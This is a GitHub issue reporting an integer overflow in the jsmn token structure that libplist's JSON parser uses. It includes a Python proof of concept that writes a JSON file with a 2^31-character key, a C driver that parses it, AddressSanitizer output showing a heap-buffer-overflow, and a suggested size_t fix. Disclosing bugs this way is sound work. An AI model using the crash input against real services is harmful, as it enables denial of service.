Skip to content

Integer Overflow in jsmntok_t Structure #282

@ylwango613

Description

@ylwango613
/**
 * JSON token description.
 * @param      type    type (object, array, string etc.)
 * @param      start   start position in JSON data string
 * @param      end     end position in JSON data string
 */
typedef struct {
    jsmntype_t type;
    int start;
    int end;
    int size;
#ifdef JSMN_PARENT_LINKS
    int parent;
#endif
} jsmntok_t;

Using int to store start, end, and size in this structure can lead to crashes when reading a tag longer than INT_MAX.


PoC (Proof of Concept)

Python code that writes a JSON file with a very large string to trigger the overflow:

def stream_write_with_chars(prefix, suffix, char, count, output_file):
    """
    Write content in a streaming manner: prefix + count copies of a specified character + suffix.
    """
    if not isinstance(count, int) or count < 0:
        raise ValueError("count must be a non-negative integer")

    with open(output_file, 'w', encoding='utf-8') as f:
        f.write(prefix)
        chunk_size = 1024
        remaining = count
        while remaining > 0:
            write_size = min(remaining, chunk_size)
            f.write(char * write_size)
            remaining -= write_size
        f.write(suffix)

    print(f"Successfully wrote to file: {output_file}")
    print(f"Content structure: prefix({len(prefix)} characters) + {count} '{char}' characters + suffix({len(suffix)} characters)")


if __name__ == "__main__":
    prefix = '''{ "Name'''
    suffix = '''": "Alice", "Age": 20 }'''
    insert_char = "a"
    char_count = 0x80000000  # 2^31 characters
    output_filename = "6.json"

    try:
        stream_write_with_chars(prefix, suffix, insert_char, char_count, output_filename)
    except Exception as e:
        print(f"An error occurred: {e}")

Driver Code

C code that reads the JSON file and parses it:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>

plist_err_t plist_from_json(const char *json, uint32_t length, plist_t *plist);

int main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <json-plist-file>\n", argv[0]);
        return 1;
    }

    const char *filename = argv[1];
    FILE *fp = fopen(filename, "rb");
    if (!fp) { perror("fopen"); return 1; }

    fseek(fp, 0, SEEK_END);
    long size = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    if (size <= 0) { fprintf(stderr, "File is empty or invalid size\n"); fclose(fp); return 1; }

    char *buffer = malloc(size + 1);
    if (!buffer) { perror("malloc"); fclose(fp); return 1; }

    fread(buffer, 1, size, fp);
    buffer[size] = '\0';
    fclose(fp);

    plist_t root = NULL;
    plist_err_t err = plist_from_json(buffer, (uint32_t)size, &root);

    if (err != PLIST_ERR_SUCCESS || !root) {
        fprintf(stderr, "❌ plist_from_json() failed: %d\n", err);
        free(buffer);
        return 1;
    }

    printf("✅ Parsed JSON plist successfully!\n");
    
    char *xml = NULL;
    uint32_t length = 0;
    plist_to_xml(root, &xml, &length);

    if (xml) { printf("\n=== Converted to XML ===\n%s\n", xml); free(xml); }

    plist_free(root);
    free(buffer);
    return 0;
}

Observed Result

AddressSanitizer: heap-buffer-overflow ...
READ of size 1 ...
0x7fa4606fb81c is located 0 bytes to the right of 2147483676-byte region ...
SUMMARY: AddressSanitizer: heap-buffer-overflow in unescape_string

Suggested Fix

Use size_t for start, end, and size to be consistent with the data types used for file reading.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions